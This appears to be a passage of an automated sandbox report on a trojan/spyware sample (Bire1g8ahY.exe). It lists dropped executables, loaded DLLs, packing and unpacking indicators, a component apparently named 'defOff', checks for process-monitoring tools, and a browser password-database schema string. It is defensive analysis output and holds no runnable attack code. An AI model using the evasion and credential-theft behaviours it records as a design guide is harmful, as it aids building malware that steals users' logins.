Source: Bire1g8ahY.exe, 00000000.00000003.1576587716.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590884505.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577894708.0000000006103000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573402535.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586253620.0000000006183000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572564758.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571729347.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580114389.000000000604F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576122992.000000000601F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582602879.000000000605D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594897497.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583480723.000000000615D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592097288.0000000006096000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576959025.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576411987.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581355388.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1584246363.0000000006070000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe

Source: Bire1g8ahY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Bire1g8ahY.exe	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: Bire1g8ahY.exe	Static PE information: Section: sjczaofe ZLIB complexity 0.9944120198663338

Source: 1I4F16VK8DFW90DXD.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@11/4

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4830TYWIJQ5SCGDL2FZPZJN92URB.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

File created: C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Bire1g8ahY.exe, 00000000.00000003.1387768989.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1388103818.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1411955933.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1412043191.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Bire1g8ahY.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

File read: C:\Users\user\Desktop\Bire1g8ahY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Bire1g8ahY.exe "C:\Users\user\Desktop\Bire1g8ahY.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe "C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe "C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Bire1g8ahY.exe

Static file information: File size 1907712 > 1048576

Source: Bire1g8ahY.exe

Static PE information: Raw size of sjczaofe is bigger than: 0x100000 < 0x1a9800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Unpacked PE file: 9.2.4830TYWIJQ5SCGDL2FZPZJN92URB.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Unpacked PE file: 10.2.1I4F16VK8DFW90DXD.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Bire1g8ahY.exe	Static PE information: real checksum: 0x1d9e27 should be: 0x1dc216
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20

Source: Bire1g8ahY.exe	Static PE information: section name:
Source: Bire1g8ahY.exe	Static PE information: section name: .idata
Source: Bire1g8ahY.exe	Static PE information: section name:
Source: Bire1g8ahY.exe	Static PE information: section name: sjczaofe
Source: Bire1g8ahY.exe	Static PE information: section name: kagvxnfw
Source: Bire1g8ahY.exe	Static PE information: section name: .taggant
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name: .idata
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name: brdofphe
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name: pzoalvov
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name: .taggant
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name:
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name: .idata
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name: ynqricro
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name: wjlvyldl
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01349A12 push eax; ret	0_3_01349A29
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134FA1C push ecx; iretd	0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134FA1C push ecx; iretd	0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01349A72 push eax; ret	0_3_01349A29
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134DBA8 pushad ; retf	0_3_0134DBA9
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01349B92 pushad ; ret	0_3_01349BA9
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134BF8C push 780134D0h; iretd	0_3_0134BFA1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_013499E2 push edi; ret	0_3_01349A11
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134A6CB push ebx; iretd	0_3_0134A6D0
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B push esi; ret	0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B push esi; ret	0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B push esi; ret	0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B push esi; ret	0_3_0131B219
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_05AB3A94 push ds; iretd	0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_05AB3A94 push ds; iretd	0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_05AB3A94 push ds; iretd	0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_05AB3A94 push ds; iretd	0_3_05AB3AA4
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134FA1C push ecx; iretd	0_3_0134FA21
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134FA1C push ecx; iretd	0_3_0134FA21
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A74DD2 push edx; mov dword ptr [esp], 2DFAC020h	9_2_00A74E1B
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A74DD2 push eax; mov dword ptr [esp], ecx	9_2_00A74E66
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A74DD2 push ecx; mov dword ptr [esp], edi	9_2_00A74EFD
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A74DD2 push ecx; mov dword ptr [esp], ebx	9_2_00A74F36
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A82D79 push ebx; mov dword ptr [esp], 3FF0ACADh	9_2_00A82D83
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A82E09 push esi; mov dword ptr [esp], 00DAF543h	9_2_00A83BD1
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A82E09 push esi; mov dword ptr [esp], edx	9_2_00A83BEC
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A82E09 push 50590FD7h; mov dword ptr [esp], ebx	9_2_00A84745
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00903092 push ebx; mov dword ptr [esp], 50CB9147h	9_2_009030B5
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A828AA push edi; mov dword ptr [esp], esi	9_2_00A83D7A
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A828AA push esi; mov dword ptr [esp], eax	9_2_00A8636C
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_00A798A0 push edx; mov dword ptr [esp], 34C9EE61h	9_2_00A7D083

Source: Bire1g8ahY.exe	Static PE information: section name: entropy: 7.974596671217423
Source: Bire1g8ahY.exe	Static PE information: section name: sjczaofe entropy: 7.953589195117511

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
